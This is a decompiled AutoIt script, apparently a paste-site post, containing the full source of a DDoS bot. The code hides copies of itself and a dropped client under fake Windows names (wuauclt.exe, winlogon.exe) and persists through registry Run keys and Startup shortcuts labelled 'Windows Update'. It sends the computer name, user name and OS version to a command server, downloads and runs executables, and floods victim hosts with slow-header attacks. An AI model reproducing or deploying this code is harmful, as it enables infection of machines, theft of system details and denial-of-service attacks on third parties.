- Local $HANDLE = DllCall("kernel32.dll", "handle", "CreateMutexW", "struct*", $TSECURITYATTRIBUTES, "bool", 1, "wstr", $SOCCURENCENAME)
- If @error Then Return SetError(@error, @extended, 0)
- Local $LASTERROR = DllCall("kernel32.dll", "dword", "GetLastError")
- If @error Then Return SetError(@error, @extended, 0)
- If $LASTERROR[0] = $ERROR_ALREADY_EXISTS Then
- If BitAND($IFLAG, 1) Then
- Return SetError($LASTERROR[0], $LASTERROR[0], 0)
- Else
- Exit -1
- EndIf
- EndIf
- Return $HANDLE[0]
- EndFunc
- Func _ISPRESSED($SHEXKEY, $VDLL = "user32.dll")
- Local $A_R = DllCall($VDLL, "short", "GetAsyncKeyState", "int", "0x" & $SHEXKEY)
- If @error Then Return SetError(@error, @extended, False)
- Return BitAND($A_R[0], 32768) <> 0
- EndFunc
- Func _VERSIONCOMPARE($SVERSION1, $SVERSION2)
- If $SVERSION1 = $SVERSION2 Then Return 0
- Local $SEP = "."
- If StringInStr($SVERSION1, $SEP) = 0 Then $SEP = ","
- Local $AVERSION1 = StringSplit($SVERSION1, $SEP)
- Local $AVERSION2 = StringSplit($SVERSION2, $SEP)
- If UBound($AVERSION1) <> UBound($AVERSION2) Or UBound($AVERSION1) = 0 Then
- SetExtended(1)
- If $SVERSION1 > $SVERSION2 Then
- Return 1
- ElseIf $SVERSION1 < $SVERSION2 Then
- Return -1
- EndIf
- Else
- For $I = 1 To UBound($AVERSION1) - 1
- If StringIsDigit($AVERSION1[$I]) And StringIsDigit($AVERSION2[$I]) Then
- If Number($AVERSION1[$I]) > Number($AVERSION2[$I]) Then
- Return 1
- ElseIf Number($AVERSION1[$I]) < Number($AVERSION2[$I]) Then
- Return -1
- EndIf
- Else
- SetExtended(1)
- If $AVERSION1[$I] > $AVERSION2[$I] Then
- Return 1
- ElseIf $AVERSION1[$I] < $AVERSION2[$I] Then
- Return -1
- EndIf
- EndIf
- Next
- EndIf
- Return SetError(2, 0, 0)
- EndFunc
- Func __MISC_GETDC($HWND)
- Local $ARESULT = DllCall("User32.dll", "handle", "GetDC", "hwnd", $HWND)
- If @error Or Not $ARESULT[0] Then Return SetError(1, _WINAPI_GETLASTERROR(), 0)
- Return $ARESULT[0]
- EndFunc
- Func __MISC_GETDEVICECAPS($HDC, $IINDEX)
- Local $ARESULT = DllCall("GDI32.dll", "int", "GetDeviceCaps", "handle", $HDC, "int", $IINDEX)
- If @error Then Return SetError(@error, @extended, 0)
- Return $ARESULT[0]
- EndFunc
- Func __MISC_RELEASEDC($HWND, $HDC)
- Local $ARESULT = DllCall("User32.dll", "int", "ReleaseDC", "hwnd", $HWND, "handle", $HDC)
- If @error Then Return SetError(@error, @extended, False)
- Return $ARESULT[0] <> 0
- EndFunc
- _SINGLETON("Bot")
- If Not (IsDeclared("$cI_CompName")) Then
- Global $CI_COMPNAME = @ComputerName
- EndIf
- Global Const $CI_VERSIONINFO = "00.03.08"
- Global Const $CI_ANAME = 0, $CI_ADESC = 4
- Global $WBEMFLAGRETURNIMMEDIATELY = 16, $WBEMFLAGFORWARDONLY = 32
- Global $ERR_NO_INFO = "Array contains no information", $ERR_NOT_OBJ = "$colItems isnt an object"
- $FILE = @AppDataDir & "\wuauclt.exe"
- $CLIENT = @AppDataDir & "\winlogon.exe"
- FileSetAttrib($FILE, "+RSH")
- While 1
- If Not FileExists($CLIENT) Then
- FileSetAttrib($CLIENT, "-RSH")
- FileInstall("client.exe", $CLIENT)
- FileSetAttrib($CLIENT, "+RSH")
- EndIf
- If @ScriptFullPath <> $FILE Then
- FileSetAttrib($FILE, "-RSH")
- FileCopy(@ScriptFullPath, $FILE)
- FileSetAttrib($FILE, "+RSH")
- EndIf
- RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run", "Windows Update", "REG_SZ", $FILE)
- RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run", "Windows Update", "REG_SZ", $FILE)
- FileSetAttrib(@StartupCommonDir & "\Update.lnk", "-RSH")
- FileSetAttrib(@StartupCommonDir & "\Update.lnk", "-RSH")
- FileCreateShortcut($FILE, @StartupDir & "\Update.lnk")
- FileSetAttrib(@StartupDir & "\Update.lnk", "+R")
- FileCreateShortcut($FILE, @StartupCommonDir & "\Update.lnk")
- FileSetAttrib(@StartupCommonDir & "\Update.lnk", "+R")
- $VICTIM = GETVICTIM()
- If StringLen($VICTIM) > 1 Then
- RunWait($CLIENT & " --host " & $VICTIM & " --port 80 --path / --slow-headers --post --connections 10000 --rate 100 --timeout 100", @AppDataDir, @SW_HIDE)
- Else
- Sleep(60000)
- EndIf
- WEnd
- Func GETVICTIM()
- Local $COMPUTERINFOS
- _COMPUTERGETPROCESSORS($COMPUTERINFOS)
- While INETGETSOURCE("http://bot.multiadserv.com/?id=" & MD5($COMPUTERINFOS[1][28]) & "&connection") <> "InternetConnectionTest"
- Sleep(10000)
- WEnd
- If StringLen(INETGETSOURCE("http://bot.multiadserv.com/?id=" & MD5($COMPUTERINFOS[1][28]) & "&download")) > 1 Then
- $DLPART = StringLeft(MD5(Random(1, 999999999999)), 20)
- $DL = @TempDir & "\" & $DLPART & ".exe"
- ProcessClose($DLPART)
- FileSetAttrib($DL, "-RSH")
- FileDelete($DL)
- If InetGet(INETGETSOURCE("http://bot.multiadserv.com/?id=" & MD5($COMPUTERINFOS[1][28]) & "&download"), $DL, 1) Then
- InetRead("http://bot.multiadserv.com/?id=" & MD5($COMPUTERINFOS[1][28]) & "&downloadok")
- Sleep(2000)
- Run($DL)
- EndIf
- EndIf
- INETGETSOURCE("http://bot.multiadserv.com/?id=" & MD5($COMPUTERINFOS[1][28]) & "&compname=" & URLENCODE(@ComputerName) & "&user=" & URLENCODE(@UserName) & "&os=" & URLENCODE(@OSVersion))
- Return INETGETSOURCE("http://bot.multiadserv.com/?id=" & MD5($COMPUTERINFOS[1][28]))
- EndFunc
- Func URLENCODE($SDATA)
- Local $ADATA = StringSplit(BinaryToString(StringToBinary($SDATA, 4), 1), "")
- Local $NCHAR
- $SDATA = ""
- For $I = 1 To $ADATA[0]
- ConsoleWrite($ADATA[$I] & @CRLF)
- $NCHAR = Asc($ADATA[$I])
- Switch $NCHAR
- Case 45, 46, 48 To 57, 65 To 90, 95, 97 To 122, 126
- $SDATA &= $ADATA[$I]
- Case 32
- $SDATA &= "+"
- Case Else
- $SDATA &= "%" & Hex($NCHAR, 2)
- EndSwitch
- Next
- Return $SDATA
- EndFunc
- Func URLDECODE($SDATA)
- Local $ADATA = StringSplit(StringReplace($SDATA, "+", " ", 0, 1), "%")
- $SDATA = ""
- For $I = 2 To $ADATA[0]
- $ADATA[1] &= Chr(Dec(StringLeft($ADATA[$I], 2))) & StringTrimLeft($ADATA[$I], 2)
- Next
- Return BinaryToString(StringToBinary($ADATA[1], 1), 4)
- EndFunc
- Func _COMPUTERGETPROCESSORS(ByRef $APROCESSORINFO)
- Local $COLITEMS, $OBJWMISERVICE, $OBJITEM
- Dim $APROCESSORINFO[1][42], $I = 1
- $OBJWMISERVICE = ObjGet("winmgmts:\\" & $CI_COMPNAME & "\root\CIMV2")
- $COLITEMS = $OBJWMISERVICE.ExecQuery("SELECT * FROM Win32_Processor", "WQL", $WBEMFLAGRETURNIMMEDIATELY + $WBEMFLAGFORWARDONLY)
- If IsObj($COLITEMS) Then
- For $OBJITEM In $COLITEMS
- ReDim $APROCESSORINFO[UBound($APROCESSORINFO) + 1][42]
- $APROCESSORINFO[$I][0] = StringStripWS($OBJITEM.Name, 1)
- $APROCESSORINFO[$I][1] = $OBJITEM.AddressWidth
- $APROCESSORINFO[$I][2] = $OBJITEM.Architecture
- $APROCESSORINFO[$I][3] = $OBJITEM.Availability
- $APROCESSORINFO[$I][4] = $OBJITEM.Description
- $APROCESSORINFO[$I][5] = $OBJITEM.ConfigManagerErrorCode
- $APROCESSORINFO[$I][6] = $OBJITEM.ConfigManagerUserConfig
- $APROCESSORINFO[$I][7] = $OBJITEM.CpuStatus
- $APROCESSORINFO[$I][8] = $OBJITEM.CreationClassName
- $APROCESSORINFO[$I][9] = $OBJITEM.CurrentClockSpeed
- $APROCESSORINFO[$I][10] = $OBJITEM.CurrentVoltage
- $APROCESSORINFO[$I][11] = $OBJITEM.DataWidth
- $APROCESSORINFO[$I][12] = $OBJITEM.DeviceID
- $APROCESSORINFO[$I][13] = $OBJITEM.ErrorCleared
- $APROCESSORINFO[$I][14] = $OBJITEM.ErrorDescription
- $APROCESSORINFO[$I][15] = $OBJITEM.ExtClock
- $APROCESSORINFO[$I][16] = $OBJITEM.Family
- $APROCESSORINFO[$I][17] = $OBJITEM.L2CacheSize
- $APROCESSORINFO[$I][18] = $OBJITEM.L2CacheSpeed
- $APROCESSORINFO[$I][19] = $OBJITEM.LastErrorCode
- $APROCESSORINFO[$I][20] = $OBJITEM.Level
- $APROCESSORINFO[$I][21] = $OBJITEM.LoadPercentage
- $APROCESSORINFO[$I][22] = $OBJITEM.Manufacturer
- $APROCESSORINFO[$I][23] = $OBJITEM.MaxClockSpeed
- $APROCESSORINFO[$I][24] = $OBJITEM.OtherFamilyDescription
- $APROCESSORINFO[$I][25] = $OBJITEM.PNPDeviceID
- $APROCESSORINFO[$I][26] = $OBJITEM.PowerManagementCapabilities(0)
- $APROCESSORINFO[$I][27] = $OBJITEM.PowerManagementSupported
- $APROCESSORINFO[$I][28] = $OBJITEM.ProcessorId
- $APROCESSORINFO[$I][29] = $OBJITEM.ProcessorType
- $APROCESSORINFO[$I][30] = $OBJITEM.Revision
- $APROCESSORINFO[$I][31] = $OBJITEM.Role
- $APROCESSORINFO[$I][32] = $OBJITEM.SocketDesignation
- $APROCESSORINFO[$I][33] = $OBJITEM.Status
- $APROCESSORINFO[$I][34] = $OBJITEM.StatusInfo
- $APROCESSORINFO[$I][35] = $OBJITEM.Stepping
- $APROCESSORINFO[$I][36] = $OBJITEM.SystemCreationClassName
- $APROCESSORINFO[$I][37] = $OBJITEM.SystemName
- $APROCESSORINFO[$I][38] = $OBJITEM.UniqueId
- $APROCESSORINFO[$I][39] = $OBJITEM.UpgradeMethod
- $APROCESSORINFO[$I][40] = $OBJITEM.Version
- $APROCESSORINFO[$I][41] = $OBJITEM.VoltageCaps
- $I += 1
- Next
- $APROCESSORINFO[0][0] = UBound($APROCESSORINFO) - 1
- If $APROCESSORINFO[0][0] < 1 Then
- SetError(1, 1, 0)
- EndIf
- Else
- SetError(1, 2, 0)
- EndIf
- EndFunc
- Func INETGETSOURCE($URL)
- Return BinaryToString(InetRead($URL, 1), 4)
- EndFunc
- #EndRegion
- #Region Internal Functions
- Func __STRINGVERSION()
- Return $CI_VERSIONINFO
- EndFunc
- Func __STRINGTODATE($DTMDATE)
- Return (StringMid($DTMDATE, 5, 2) & "/" & StringMid($DTMDATE, 7, 2) & "/" & StringLeft($DTMDATE, 4) & " " & StringMid($DTMDATE, 9, 2) & ":" & StringMid($DTMDATE, 11, 2) & ":" & StringMid($DTMDATE, 13, 2))
- EndFunc
- #EndRegion Internal Functions
- Func MD5($SMESSAGE)
- Local $PADDING = Binary("0x8000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000")
- Local $BYTES = Binary($SMESSAGE) + BinaryMid($PADDING, 1, BinaryLen($PADDING) - Mod(BinaryLen($SMESSAGE), 64)) + BinaryMid(Binary(BinaryLen($SMESSAGE) * 8) + Binary(0), 1, 8)
- Local $X[BinaryLen($BYTES) / 4]
- For $I = 1 To BinaryLen($BYTES) Step 4
- $X[($I - 1) / 4] = Dec(StringTrimLeft(Binary(BinaryMid($BYTES, $I + 3, 1) + BinaryMid($BYTES, $I + 2, 1) + BinaryMid($BYTES, $I + 1, 1) + BinaryMid($BYTES, $I, 1)), 2))
- Next
- Local $A = 1732584193, $B = -271733879, $C = -1732584194, $D = 271733878
- For $K = 0 To UBound($X) - 1 Step 16
- $AA = $A
- $BB = $B
- $CC = $C
- $DD = $D
- $A = BitOR(BitRotate(BitOR($A + BitOR(BitOR(BitOR(BitAND($B, $C), BitAND((BitNOT($B)), $D)) + $X[$K + 0], 0) + - 680876936, 0), 0), 7, "D") + $B, 0)
- $D = BitOR(BitRotate(BitOR($D + BitOR(BitOR(BitOR(BitAND($A, $B), BitAND((BitNOT($A)), $C)) + $X[$K + 1], 0) + - 389564586, 0), 0), 12, "D") + $A, 0)
- $C = BitOR(BitRotate(BitOR($C + BitOR(BitOR(BitOR(BitAND($D, $A), BitAND((BitNOT($D)), $B)) + $X[$K + 2], 0) + 606105819, 0), 0), 17, "D") + $D, 0)
- $B = BitOR(BitRotate(BitOR($B + BitOR(BitOR(BitOR(BitAND($C, $D), BitAND((BitNOT($C)), $A)) + $X[$K + 3], 0) + - 1044525330, 0), 0), 22, "D") + $C, 0)
- $A = BitOR(BitRotate(BitOR($A + BitOR(BitOR(BitOR(BitAND($B, $C), BitAND((BitNOT($B)), $D)) + $X[$K + 4], 0) + - 176418897, 0), 0), 7, "D") + $B, 0)
- $D = BitOR(BitRotate(BitOR($D + BitOR(BitOR(BitOR(BitAND($A, $B), BitAND((BitNOT($A)), $C)) + $X[$K + 5], 0) + 1200080426, 0), 0), 12, "D") + $A, 0)
- $C = BitOR(BitRotate(BitOR($C + BitOR(BitOR(BitOR(BitAND($D, $A), BitAND((BitNOT($D)), $B)) + $X[$K + 6], 0) + - 1473231341, 0), 0), 17, "D") + $D, 0)
- $B = BitOR(BitRotate(BitOR($B + BitOR(BitOR(BitOR(BitAND($C, $D), BitAND((BitNOT($C)), $A)) + $X[$K + 7], 0) + - 45705983, 0), 0), 22, "D") + $C, 0)
- $A = BitOR(BitRotate(BitOR($A + BitOR(BitOR(BitOR(BitAND($B, $C), BitAND((BitNOT($B)), $D)) + $X[$K + 8], 0) + 1770035416, 0), 0), 7, "D") + $B, 0)
- $D = BitOR(BitRotate(BitOR($D + BitOR(BitOR(BitOR(BitAND($A, $B), BitAND((BitNOT($A)), $C)) + $X[$K + 9], 0) + - 1958414417, 0), 0), 12, "D") + $A, 0)
- $C = BitOR(BitRotate(BitOR($C + BitOR(BitOR(BitOR(BitAND($D, $A), BitAND((BitNOT($D)), $B)) + $X[$K + 10], 0) + - 42063, 0), 0), 17, "D") + $D, 0)
- $B = BitOR(BitRotate(BitOR($B + BitOR(BitOR(BitOR(BitAND($C, $D), BitAND((BitNOT($C)), $A)) + $X[$K + 11], 0) + - 1990404162, 0), 0), 22, "D") + $C, 0)
- $A = BitOR(BitRotate(BitOR($A + BitOR(BitOR(BitOR(BitAND($B, $C), BitAND((BitNOT($B)), $D)) + $X[$K + 12], 0) + 1804603682, 0), 0), 7, "D") + $B, 0)
- $D = BitOR(BitRotate(BitOR($D + BitOR(BitOR(BitOR(BitAND($A, $B), BitAND((BitNOT($A)), $C)) + $X[$K + 13], 0) + - 40341101, 0), 0), 12, "D") + $A, 0)
- $C = BitOR(BitRotate(BitOR($C + BitOR(BitOR(BitOR(BitAND($D, $A), BitAND((BitNOT($D)), $B)) + $X[$K + 14], 0) + - 1502002290, 0), 0), 17, "D") + $D, 0)
- $B = BitOR(BitRotate(BitOR($B + BitOR(BitOR(BitOR(BitAND($C, $D), BitAND((BitNOT($C)), $A)) + $X[$K + 15], 0) + 1236535329, 0), 0), 22, "D") + $C, 0)
- $A = BitOR(BitRotate(BitOR($A + BitOR(BitOR(BitOR(BitAND($B, $D), BitAND($C, (BitNOT($D)))) + $X[$K + 1], 0) + - 165796510, 0), 0), 5, "D") + $B, 0)
- $D = BitOR(BitRotate(BitOR($D + BitOR(BitOR(BitOR(BitAND($A, $C), BitAND($B, (BitNOT($C)))) + $X[$K + 6], 0) + - 1069501632, 0), 0), 9, "D") + $A, 0)
- $C = BitOR(BitRotate(BitOR($C + BitOR(BitOR(BitOR(BitAND($D, $B), BitAND($A, (BitNOT($B)))) + $X[$K + 11], 0) + 643717713, 0), 0), 14, "D") + $D, 0)
- $B = BitOR(BitRotate(BitOR($B + BitOR(BitOR(BitOR(BitAND($C, $A), BitAND($D, (BitNOT($A)))) + $X[$K + 0], 0) + - 373897302, 0), 0), 20, "D") + $C, 0)
- $A = BitOR(BitRotate(BitOR($A + BitOR(BitOR(BitOR(BitAND($B, $D), BitAND($C, (BitNOT($D)))) + $X[$K + 5], 0) + - 701558691, 0), 0), 5, "D") + $B, 0)
- $D = BitOR(BitRotate(BitOR($D + BitOR(BitOR(BitOR(BitAND($A, $C), BitAND($B, (BitNOT($C)))) + $X[$K + 10], 0) + 38016083, 0), 0), 9, "D") + $A, 0)
- $C = BitOR(BitRotate(BitOR($C + BitOR(BitOR(BitOR(BitAND($D, $B), BitAND($A, (BitNOT($B)))) + $X[$K + 15], 0) + - 660478335, 0), 0), 14, "D") + $D, 0)
- $B = BitOR(BitRotate(BitOR($B + BitOR(BitOR(BitOR(BitAND($C, $A), BitAND($D, (BitNOT($A)))) + $X[$K + 4], 0) + - 405537848, 0), 0), 20, "D") + $C, 0)
- $A = BitOR(BitRotate(BitOR($A + BitOR(BitOR(BitOR(BitAND($B, $D), BitAND($C, (BitNOT($D)))) + $X[$K + 9], 0) + 568446438, 0), 0), 5, "D") + $B, 0)
- $D = BitOR(BitRotate(BitOR($D + BitOR(BitOR(BitOR(BitAND($A, $C), BitAND($B, (BitNOT($C)))) + $X[$K + 14], 0) + - 1019803690, 0), 0), 9, "D") + $A, 0)
- $C = BitOR(BitRotate(BitOR($C + BitOR(BitOR(BitOR(BitAND($D, $B), BitAND($A, (BitNOT($B)))) + $X[$K + 3], 0) + - 187363961, 0), 0), 14, "D") + $D, 0)
- $B = BitOR(BitRotate(BitOR($B + BitOR(BitOR(BitOR(BitAND($C, $A), BitAND($D, (BitNOT($A)))) + $X[$K + 8], 0) + 1163531501, 0), 0), 20, "D") + $C, 0)
- $A = BitOR(BitRotate(BitOR($A + BitOR(BitOR(BitOR(BitAND($B, $D), BitAND($C, (BitNOT($D)))) + $X[$K + 13], 0) + - 1444681467, 0), 0), 5, "D") + $B, 0)
- $D = BitOR(BitRotate(BitOR($D + BitOR(BitOR(BitOR(BitAND($A, $C), BitAND($B, (BitNOT($C)))) + $X[$K + 2], 0) + - 51403784, 0), 0), 9, "D") + $A, 0)
- $C = BitOR(BitRotate(BitOR($C + BitOR(BitOR(BitOR(BitAND($D, $B), BitAND($A, (BitNOT($B)))) + $X[$K + 7], 0) + 1735328473, 0), 0), 14, "D") + $D, 0)
- $B = BitOR(BitRotate(BitOR($B + BitOR(BitOR(BitOR(BitAND($C, $A), BitAND($D, (BitNOT($A)))) + $X[$K + 12], 0) + - 1926607734, 0), 0), 20, "D") + $C, 0)
- $A = BitOR(BitRotate(BitOR($A + BitOR(BitOR(BitXOR($B, $C, $D) + $X[$K + 5], 0) + - 378558, 0), 0), 4, "D") + $B, 0)
- $D = BitOR(BitRotate(BitOR($D + BitOR(BitOR(BitXOR($A, $B, $C) + $X[$K + 8], 0) + - 2022574463, 0), 0), 11, "D") + $A, 0)
- $C = BitOR(BitRotate(BitOR($C + BitOR(BitOR(BitXOR($D, $A, $B) + $X[$K + 11], 0) + 1839030562, 0), 0), 16, "D") + $D, 0)
- $B = BitOR(BitRotate(BitOR($B + BitOR(BitOR(BitXOR($C, $D, $A) + $X[$K + 14], 0) + - 35309556, 0), 0), 23, "D") + $C, 0)
- $A = BitOR(BitRotate(BitOR($A + BitOR(BitOR(BitXOR($B, $C, $D) + $X[$K + 1], 0) + - 1530992060, 0), 0), 4, "D") + $B, 0)
- $D = BitOR(BitRotate(BitOR($D + BitOR(BitOR(BitXOR($A, $B, $C) + $X[$K + 4], 0) + 1272893353, 0), 0), 11, "D") + $A, 0)
- $C = BitOR(BitRotate(BitOR($C + BitOR(BitOR(BitXOR($D, $A, $B) + $X[$K + 7], 0) + - 155497632, 0), 0), 16, "D") + $D, 0)
- $B = BitOR(BitRotate(BitOR($B + BitOR(BitOR(BitXOR($C, $D, $A) + $X[$K + 10], 0) + - 1094730640, 0), 0), 23, "D") + $C, 0)
- $A = BitOR(BitRotate(BitOR($A + BitOR(BitOR(BitXOR($B, $C, $D) + $X[$K + 13], 0) + 681279174, 0), 0), 4, "D") + $B, 0)
- $D = BitOR(BitRotate(BitOR($D + BitOR(BitOR(BitXOR($A, $B, $C) + $X[$K + 0], 0) + - 358537222, 0), 0), 11, "D") + $A, 0)
- $C = BitOR(BitRotate(BitOR($C + BitOR(BitOR(BitXOR($D, $A, $B) + $X[$K + 3], 0) + - 722521979, 0), 0), 16, "D") + $D, 0)
- $B = BitOR(BitRotate(BitOR($B + BitOR(BitOR(BitXOR($C, $D, $A) + $X[$K + 6], 0) + 76029189, 0), 0), 23, "D") + $C, 0)
- $A = BitOR(BitRotate(BitOR($A + BitOR(BitOR(BitXOR($B, $C, $D) + $X[$K + 9], 0) + - 640364487, 0), 0), 4, "D") + $B, 0)
- $D = BitOR(BitRotate(BitOR($D + BitOR(BitOR(BitXOR($A, $B, $C) + $X[$K + 12], 0) + - 421815835, 0), 0), 11, "D") + $A, 0)
- $C = BitOR(BitRotate(BitOR($C + BitOR(BitOR(BitXOR($D, $A, $B) + $X[$K + 15], 0) + 530742520, 0), 0), 16, "D") + $D, 0)
- $B = BitOR(BitRotate(BitOR($B + BitOR(BitOR(BitXOR($C, $D, $A) + $X[$K + 2], 0) + - 995338651, 0), 0), 23, "D") + $C, 0)
- $A = BitOR(BitRotate(BitOR($A + BitOR(BitOR(BitXOR($C, BitOR($B, (BitNOT($D)))) + $X[$K + 0], 0) + - 198630844, 0), 0), 6, "D") + $B, 0)
- $D = BitOR(BitRotate(BitOR($D + BitOR(BitOR(BitXOR($B, BitOR($A, (BitNOT($C)))) + $X[$K + 7], 0) + 1126891415, 0), 0), 10, "D") + $A, 0)
- $C = BitOR(BitRotate(BitOR($C + BitOR(BitOR(BitXOR($A, BitOR($D, (BitNOT($B)))) + $X[$K + 14], 0) + - 1416354905, 0), 0), 15, "D") + $D, 0)
- $B = BitOR(BitRotate(BitOR($B + BitOR(BitOR(BitXOR($D, BitOR($C, (BitNOT($A)))) + $X[$K + 5], 0) + - 57434055, 0), 0), 21, "D") + $C, 0)
- $A = BitOR(BitRotate(BitOR($A + BitOR(BitOR(BitXOR($C, BitOR($B, (BitNOT($D)))) + $X[$K + 12], 0) + 1700485571, 0), 0), 6, "D") + $B, 0)
- $D = BitOR(BitRotate(BitOR($D + BitOR(BitOR(BitXOR($B, BitOR($A, (BitNOT($C)))) + $X[$K + 3], 0) + - 1894986606, 0), 0), 10, "D") + $A, 0)
- $C = BitOR(BitRotate(BitOR($C + BitOR(BitOR(BitXOR($A, BitOR($D, (BitNOT($B)))) + $X[$K + 10], 0) + - 1051523, 0), 0), 15, "D") + $D, 0)
- $B = BitOR(BitRotate(BitOR($B + BitOR(BitOR(BitXOR($D, BitOR($C, (BitNOT($A)))) + $X[$K + 1], 0) + - 2054922799, 0), 0), 21, "D") + $C, 0)
- $A = BitOR(BitRotate(BitOR($A + BitOR(BitOR(BitXOR($C, BitOR($B, (BitNOT($D)))) + $X[$K + 8], 0) + 1873313359, 0), 0), 6, "D") + $B, 0)
- $D = BitOR(BitRotate(BitOR($D + BitOR(BitOR(BitXOR($B, BitOR($A, (BitNOT($C)))) + $X[$K + 15], 0) + - 30611744, 0), 0), 10, "D") + $A, 0)
- $C = BitOR(BitRotate(BitOR($C + BitOR(BitOR(BitXOR($A, BitOR($D, (BitNOT($B)))) + $X[$K + 6], 0) + - 1560198380, 0), 0), 15, "D") + $D, 0)
- $B = BitOR(BitRotate(BitOR($B + BitOR(BitOR(BitXOR($D, BitOR($C, (BitNOT($A)))) + $X[$K + 13], 0) + 1309151649, 0), 0), 21, "D") + $C, 0)
- $A = BitOR(BitRotate(BitOR($A + BitOR(BitOR(BitXOR($C, BitOR($B, (BitNOT($D)))) + $X[$K + 4], 0) + - 145523070, 0), 0), 6, "D") + $B, 0)
- $D = BitOR(BitRotate(BitOR($D + BitOR(BitOR(BitXOR($B, BitOR($A, (BitNOT($C)))) + $X[$K + 11], 0) + - 1120210379, 0), 0), 10, "D") + $A, 0)
- $C = BitOR(BitRotate(BitOR($C + BitOR(BitOR(BitXOR($A, BitOR($D, (BitNOT($B)))) + $X[$K + 2], 0) + 718787259, 0), 0), 15, "D") + $D, 0)
- $B = BitOR(BitRotate(BitOR($B + BitOR(BitOR(BitXOR($D, BitOR($C, (BitNOT($A)))) + $X[$K + 9], 0) + - 343485551, 0), 0), 21, "D") + $C, 0)
- $A = BitOR($A + $AA, 0)
- $B = BitOR($B + $BB, 0)
- $C = BitOR($C + $CC, 0)
- $D = BitOR($D + $DD, 0)
- Next
- Return StringLower(StringMid(Hex($A), 7, 2) & StringMid(Hex($A), 5, 2) & StringMid(Hex($A), 3, 2) & StringMid(Hex($A), 1, 2) & StringMid(Hex($B), 7, 2) & StringMid(Hex($B), 5, 2) & StringMid(Hex($B), 3, 2) & StringMid(Hex($B), 1, 2) & StringMid(Hex($C), 7, 2) & StringMid(Hex($C), 5, 2) & StringMid(Hex($C), 3, 2) & StringMid(Hex($C), 1, 2) & StringMid(Hex($D), 7, 2) & StringMid(Hex($D), 5, 2) & StringMid(Hex($D), 3, 2) & StringMid(Hex($D), 1, 2))
- EndFunc
- ; DeTokenise by myAut2Exe >The Open Source AutoIT/AutoHotKey script decompiler< 2.11 build(180)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement